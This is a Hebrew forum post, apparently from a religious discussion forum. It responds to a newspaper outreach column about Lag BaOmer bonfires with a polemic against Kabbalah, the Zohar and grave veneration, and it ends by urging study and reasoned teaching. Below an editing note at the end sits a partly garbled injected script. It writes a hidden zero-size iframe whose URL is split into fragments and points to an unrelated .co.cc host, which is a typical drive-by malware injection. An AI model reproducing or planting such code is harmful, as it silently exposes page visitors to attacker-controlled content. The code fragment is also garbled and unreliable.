היום הולך ומתקרב. עבור הילדים שבינינו, אין כמוהו. לאסוף עצים, לבנות מדורות, ואז, בהגיע השעה הגדולה, מדליקים את האש.
כל אחד והאש שלו.
את הקטעים הבאים אפשר היה לקרוא ביתד נאמן (טו באייר תשע"ד), בחתימתו של הרב דוד ברוורמן, שלפי הדברים עוסק בקירוב רחוקים.
"ליל ל"ג בעומר תשע"א. סיימתי הרצאה בחולון. עברתי ליד כיכר מלאה במדורות סמוך לתחנה המרכזית. לשונות האש עלו עד לב השמים. מאות צעירים קיפצו ליד המדורות בליווי מוזיקה לועזית אפריקנית, ולא בדיוק לצלילי השיר "בר יוחאי נמשחת אשריך".
...
המספר מתאר שיחה קצרה עם החוגגים, את נסיונו לברר לכבוד מה המדורות, וקבלת התשובה: נצחונו של בר כוכבא. והוא מביע כאב:
"על רבי שמעון בר יוחאי שמעתם? יודעם אתם משהו על ספר הזוהר הקדוש?... עיני הצטעפו בדמעות על בחורי ישראל, תינוקות שנשבו ואינם יודעים דבר אודות נשמתם.
הכאב העצום לווני ימים רבים. מה יודעים הצעירים הללו? נשמות טהורות אלו, עצמנו ובשרנו הם, ואפילו את השם רשב"י לא שמעו!
עד כאן ציטוט.
אפשר להביע התנגדות לפטרנליזם (=אני יודע והם לא), או לאכסניה (רק בלי פוליטיקה) אבל לטעמי אי אפשר שלא להזדהות עם הכאב האמיתי של מי שיודע שיש אלוקים ויש תורה - כאב על אלו שאינם יודעים. איך אפשר שלא להצטרף לקריאה הזו לאיכפתיות, שלא לתמוך ברצון להועיל וללמד.
ללמד תורה לרבים, לאלו שאינם יודעים, לאלו שהם תינוקות שנשבו בחברה שמונעת מהם את האמת ואת הדרך לאמת, ואת קנית כלי החשיבה שמאפשרים לזהות את האמת.
את המסורת, את התורה.
הבעיה שלי, ולא רק שלי, היא מה בדיוק כוללת התורה שרוצים ללמד – ומי מייצג אותה.
גם אני יכול לכתוב באותה צורה. הנה.
"ליל ל"ג בעומר תשע"ד...
בבני ברק, במירון, בכל מקום בישראל, אפשר לראות מדורות... רבבות יהודים מקפצים ליד המדורות ושרים: "בר יוחאי נמשחת אשריך".
...
המספר יתאר שיחה קצרה אופיינית עם החוגגים, את נסיונו לברר לכבוד מה המדורות, וקבלת התשובה: יום מתן תורת הקבלה לעם ישראל, היום שבו רשב"י יצא מן המערה וקיבל את הקבלה.
ואז המספר, אני, מביע כאב:
"על רבי שמעון בר יוחאי שמעתם או סיפורים ואגדות עם שמעתם? שיודעים אתם משהו על ספר הזוהר? מתי חובר, היכן חובר? מה הוא מכיל?
האם אתם יודעים שהקבלה, מהזוהר אל האר"י, מכילה מינות – אמירות על אלוקים כאילו הוא מתחלק לחלקים. ופורנוגרפיה – תיאורים שכתובים בארמית ונקראים בדרך כלל רק בידי יהודים יראי שמים שאינם שמים לב למה שהם מוציאים בפיהם וזה נראה להם קדוש בתכלית.
... עיני מהצטעפת בדמעות על בחורי ישראל וזקניו, תינוקות שנשבו כולם, שאינם יודעים דבר אודות נשמתם.
הכאב העצום מלווני ימים רבים, משנה לשנה.
מה יודעים הצעירים – והקשישים הללו? והילדים, תינוקות של בית רבן? נשמות טהורות אלו, עצמנו ובשרנו הם, והם מאמינים שרשב"י של הזוהר הוא אותו רשב"י של המשנה והתלמוד!
***
כולנו נאמנים למסורת שניתנה לנו בסיני. אבל חלקנו, אולי רובנו, מאמינים שגם הזוהר הוא חלק מהמסורת, עם האמירות שהן מינות על אלוקים, עם הפרשנות התיאורגית של המצוות (=כביכול הן נועדו כדי לתקן פגמים באלוהות שנשברה, או להוריד שפע לעולם דרך חלקי האלוהות כמו במערכת צינורות). אין מודעות לשאלות הפילוסופיות החמורות שמראות שאלו הן אמונות בלתי אפשריות, שהן סותרות את האמונה בא-ל אחד ויחיד, שהן מנוגדות למקרא ולחז"ל. אין מודעות לביקורת ההיסטורית שמראה שמדובר בזיוף מלפני כמה מאות שנים. ויש הרבה סתימת פיות נגד מי שמעז להעלות את השאלות, וכל שכן להסיק את המסקנות.
יש בודדים שאינם מוכנים להשלים. והם חיים לעצמם, יודעים שמסביב מלאה הארץ מינות, ומשתדלים להציל את נפשם. לפעמים הם מתייאשים וחושבים שאין שום ערך לתורה כי אלו הם מייצגיה. מעטים עוד יותר מגיעים לכאן, לפורום שלנו.
והרוב? הרוב מאמינים שזה קדוש. שרצון ה' הוא שבני אדם ירקדו מסביב לקבר, שידליקו סביבו משואות. שאדם גדול מסוגל לספר כיצד זחל במעלה הר אלי קבר וגופו רעד מרוב קדושה. אני מאמין לו שזה מה שחש. אני רק סבור שהוא לקה במידה גדושה של אמונת הבל שגרמה לו להרגיש כך.
ואם בארזים נפלה שלהבת, מה יהיה עם התינוקות שנשבו?
מדי שנה בשנה, ביום איד של תינוקות יהודים שנשבו, אני שואל את עצמי מה אפשר לעשות. איך אפשר להסביר, ללמד, להרחיק מטעויות וממינות. ואין לי תשובה. אין לי תשובה.
ומספר הנופלים בפח הולך וגדל. אותם חילונים שרוצים ללמוד תורה, מה מלמדים אותם? איזו יהדות מעניקים להם? נכון שמעניקים להם את היהדות של התורה ושל חז"ל, של תורה ודרך ארץ, של שבת ושל אל תעשה לחברך מה ששנוא עליך. אבל גם יהדות שסוגדת לקברים, שמאמינה שהסוד העמוק ביותר של התורה הוא שאלוהים יצר מעצמו מערכת מפורקת ומקולקלת שצריך לתקן, שהדרך הנכונה לתאר את הקלקול הזה היא ללמוד קבלה ולדבר על זיווגים עליונים...
וזו תכלית האדם.
דווקא הטובים שבהם, המסורים לעבודת ה', רוקדים ושרים הכי חזק. והלהבות עולות עד לב השמים.
האם רק אני מרגיש שהיהדות נשרפת? שהם שורפים את התורה (זה לא ביטוי שהמצאתי. גם בגמרא אמרו שכותבי קמיעות כשורפי תורה).
אני רוצה לסיים בדבר טוב. אז אני מצטט מן ההיסטוריה כדי לנסות להפיק תקוה.
בימי בית שני לא היו רק יהודים של חז"ל. היו איסיים, היו צדוקים (שהיו מחמירים גדולים). היו יהודים-נוצרים שהאמינו שאותו האיש הוא המשיח והוא עתיד לקום לתחיה, או שהוא עדיין חי למרות שהוא מת.
הם נשכחו. רק החוקרים מכירים את שמם ומעשיהם.
מערכת של סיבות מורכבות שמרה על עם ישראל. אחד הגורמים היה המחוייבות העתיקה למונותיאיזם, לזה שיש אלוקים אחד. לתורה, שצריך ללמוד תורה, והתורה מלמדת את האדם לחשוב, לבדוק מקורות, לזהות סתירות. להבדיל בין אמת לשקר.
וכולנו לומדים את התורה, את הגמרא, את כללי החשיבה והעיון.
יש סיכוי.
אם האש בולטת למרחוק, זה בגלל שכעת יש חושך. לאחר התפרצות להבת הרגש, מגיע הזמן להתבונן ולחשוב. וללמוד. אם מי שיכול ילמד, ואם מי שיכול יכתוב, יש סיכוי שמנהיגי המאמינים האלו, שליבם סוף סוף לשמים, יוכלו גם להקשיב ולחזור בתשובה. וכל שכן ההמון.
אמן.
אז אני פונה לכל חברי, לכל מי שרוצה לחשוב, לכל מי שרוצה ללמוד, לכל מי שיאמר: עד כאן, אפילו יהושע בן נון יאמר לי שזה מה שה' רוצה, לא אקבל ממנו. אפילו נביא אומר לך לעבוד עבודה זרה, הוא חייב מיתה ואסור לשמוע לו. (שוב, אלו שתי דוגמאות לדברי חכמים, האחת מן הגמרא, השניה גם נפסקה ברמב"ם).
התרופה לבורות ולהבל אינה מכות ואינה עונשים, לא עלבונות ולא ציניות. רק להסביר וללמד בתקוה שיש מי שמוכן להקשיב.
דברים היוצאים מהלב נכנסים ללב. לא עלינו המלאכה לגמור, ואין אנו בני חורין להיבטל ממנה.
_____תיקון לשון לשיפור הקריאות____________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");>
תוקן על ידי מיימוני ב- 15/05/2014 17:38:26